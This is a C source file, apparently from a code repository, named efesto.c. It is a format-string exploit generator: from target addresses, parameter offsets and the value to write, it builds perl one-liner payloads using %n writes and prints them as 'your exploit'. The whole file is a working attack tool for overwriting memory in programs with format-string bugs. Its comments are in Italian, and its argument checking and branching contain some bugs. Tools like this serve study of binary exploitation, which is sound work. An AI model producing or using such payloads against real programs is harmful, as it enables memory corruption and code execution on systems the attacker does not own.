-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathefesto.c
188 lines (152 loc) · 6.19 KB
/
efesto.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
/*
[TODO] small parser
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned int convert_to_hex(int padding_dec)
{
unsigned int result=0x00000000;
int i;
for(i=padding_dec; i!=0 ; i--)
{
result += 0x00000001;
}
return result;
}
int main(int argc ,char* argv[])
{
unsigned int what, minus , a_1 , a_2 , a_3 , a_4, modality;
unsigned int res[4];
int off1,off2,off3,off4;
unsigned int start_1[4],start_2[4],start_3[4],start_4[4], what_b[4];
if( argc < 3 )
{
printf("Usage: %s < offset to the first parameter > <address of first byte you want to overwrite> <which address you want to paste> < modality > <padding> \n", argv[0]);
exit(0);
}
modality = strtoul(argv[4],NULL,10);
if( modality != 2 && modality != 4 )
{
puts("Wrong modality mode! Valid modality are 2 bytes or 4 bytes\n");
exit(0);
}
if( modality == 4 )
{
off1 = atoi(argv[1]);
off2 = off1 + 1;
off3 = off2 + 1;
off4 = off3 + 1;
a_1 = strtoul(argv[2], NULL, 0); //calcolo dei 3 byte successivi alla base data
a_2 = a_1 +0x00000001;
a_3 = a_2 +0x00000001;
a_4 = a_3 +0x00000001;
what = strtoul(argv[3], NULL, 0); //salvo in hex l'indirizzo mio che voglio "incollare"
// spezzo nelle singole cifre esadecimali gli indirizzi di partenza
start_1[0] = a_1 & 0x000000ff ;
start_1[1] = ( a_1 & 0x0000ff00 ) >> 8;
start_1[2] = ( a_1 & 0x00ff0000 ) >> 16;
start_1[3] = ( a_1 & 0xff000000 ) >> 24;
start_2[0] = a_2 & 0x000000ff ;
start_2[1] = ( a_2 & 0x0000ff00 ) >> 8;
start_2[2] = ( a_2 & 0x00ff0000 ) >> 16;
start_2[3] = ( a_2 & 0xff000000 ) >> 24;
start_3[0] = a_3 & 0x000000ff ;
start_3[1] = ( a_3 & 0x0000ff00 ) >> 8;
start_3[2] = ( a_3 & 0x00ff0000 ) >> 16;
start_3[3] = ( a_3 & 0xff000000 ) >> 24;
start_4[0] = a_4 & 0x000000ff ;
start_4[1] = ( a_4 & 0x0000ff00 ) >> 8;
start_4[2] = ( a_4 & 0x00ff0000 ) >> 16;
start_4[3] = ( a_4 & 0xff000000 ) >> 24;
//calcolo dell'ultima cifra dell'indirizzo in cui scrivo
what_b[3] = ( what & 0xff000000 ) >> 24;
what_b[2] = ( what & 0x00ff0000 ) >> 16;
what_b[1] = ( what & 0x0000ff00 ) >> 8;
what_b[0] = what & 0x000000ff ;
int i; // indicatore byte trattato
int padding_dec=0;
unsigned int padding_hex=0x00000000;
if(argv[5]!=NULL){
padding_dec = strtoul(argv[5], NULL , 10);
padding_hex = convert_to_hex(padding_dec);
}
minus = 0x00000010 + padding_hex;
for( i=0 ; i<4; i++ )
{
if( (what_b[i] - 0x00000001) > minus )
res[i] = what_b[i] - minus ;
else
res[i] = ( what_b[i] + 0x00000100 ) - minus ;
minus = what_b[i];
}
puts("\nThis is your exploit:\n");
if(padding_dec!=0)
{
int i;
char *pointer = malloc(padding_dec);
for(i=0; i<padding_dec; i++)
{
strcpy(pointer+i , "A");
}
printf("$(perl -e 'print \"%s\" . \"\\x%02x\\x%02x\\x%02x\\x%02x\" . \"\\x%02x\\x%02x\\x%02x\\x%02x\" . \"\\x%02x\\x%02x\\x%02x\\x%02x\" . \"\\x%02x\\x%02x\\x%02x\\x%02x\" . \"%%%02dx%%%d$n\" . \"%%%02dx%%%d$n\" . \"%%%02dx%%%d$n\" . \"%%%02dx%%%d$n\" ')",pointer, start_1[0] , start_1[1] , start_1[2] , start_1[3], start_2[0] , start_2[1] , start_2[2] , start_2[3] , start_3[0] , start_3[1] , start_3[2] , start_3[3] , start_4[0] , start_4[1] , start_4[2] , start_4[3] , res[0] , off1 , res[1], off2 , res[2] , off3 , res[3] , off4 );
puts("\n");
}
else
printf("$(perl -e 'print \"\\x%02x\\x%02x\\x%02x\\x%02x\" . \"\\x%02x\\x%02x\\x%02x\\x%02x\" . \"\\x%02x\\x%02x\\x%02x\\x%02x\" . \"\\x%02x\\x%02x\\x%02x\\x%02x\" . \"%%%02dx%%%d$n\" . \"%%%02dx%%%d$n\" . \"%%%02dx%%%d$n\" . \"%%%02dx%%%d$n\" ')",start_1[0] , start_1[1] , start_1[2] , start_1[3], start_2[0] , start_2[1] , start_2[2] , start_2[3] , start_3[0] , start_3[1] , start_3[2] , start_3[3] , start_4[0] , start_4[1] , start_4[2] , start_4[3] , res[0] , off1 , res[1], off2 , res[2] , off3 , res[3] , off4 );
puts("\n");
}
if( modality == 2 )
{
off1 = atoi(argv[1]);
off2 = off1 + 1;
a_1 = strtoul(argv[2], NULL, 0);
a_2 = a_1 +0x00000002; //calcolo dell'indirizzo del 3° byte
what = strtoul(argv[3], NULL, 0); //salvo in hex l'indirizzo mio che voglio "incollare"
// spezzo nelle singole cifre esadecimali gli indirizzi di partenza
start_1[0] = a_1 & 0x000000ff ;
start_1[1] = ( a_1 & 0x0000ff00 ) >> 8;
start_1[2] = ( a_1 & 0x00ff0000 ) >> 16;
start_1[3] = ( a_1 & 0xff000000 ) >> 24;
start_2[0] = a_2 & 0x000000ff ;
start_2[1] = ( a_2 & 0x0000ff00 ) >> 8;
start_2[2] = ( a_2 & 0x00ff0000 ) >> 16;
start_2[3] = ( a_2 & 0xff000000 ) >> 24;
what_b[1] = ( what & 0xffff0000 ) >> 16;
what_b[0] = what & 0x0000ffff ;
int i; // indicatore byte trattato
int padding_dec=0;
unsigned int padding_hex=0x00000000;
if(argv[5]!=NULL){
padding_dec = strtoul(argv[5], NULL , 10);
padding_hex = convert_to_hex(padding_dec);
}
minus = 0x00000008+padding_hex;
for( i=0 ; i<2; i++ )
{
if( (what_b[i] - 0x00000001) > minus )
res[i] = what_b[i] - minus ;
else
{
what_b[i] = what_b[i] + 0x00010000;
res[i] = what_b[i] - minus ;
}
minus = what_b[i];
}
puts("\nThis is your exploit:\n");
if(padding_dec!=0)
{
int i;
char *pointer = malloc(padding_dec);
for(i=0; i<padding_dec; i++)
{
strcpy(pointer+i , "B");
}
printf("$(perl -e 'print \"%s\" . \"\\x%02x\\x%02x\\x%02x\\x%02x\" . \"\\x%02x\\x%02x\\x%02x\\x%02x\" . \"%%%02dx%%%d$n\" . \"%%%02dx%%%d$n\" ')" ,pointer, start_1[0] , start_1[1] , start_1[2] , start_1[3], start_2[0] , start_2[1] , start_2[2] , start_2[3] , res[0] , off1 , res[1], off2 );
puts("\n");
}
else
printf("$(perl -e 'print \"\\x%02x\\x%02x\\x%02x\\x%02x\" . \"\\x%02x\\x%02x\\x%02x\\x%02x\" . \"%%%02dx%%%d$n\" . \"%%%02dx%%%d$n\" ')" , start_1[0] , start_1[1] , start_1[2] , start_1[3], start_2[0] , start_2[1] , start_2[2] , start_2[3] , res[0] , off1 , res[1], off2 );
puts("\n");
}
}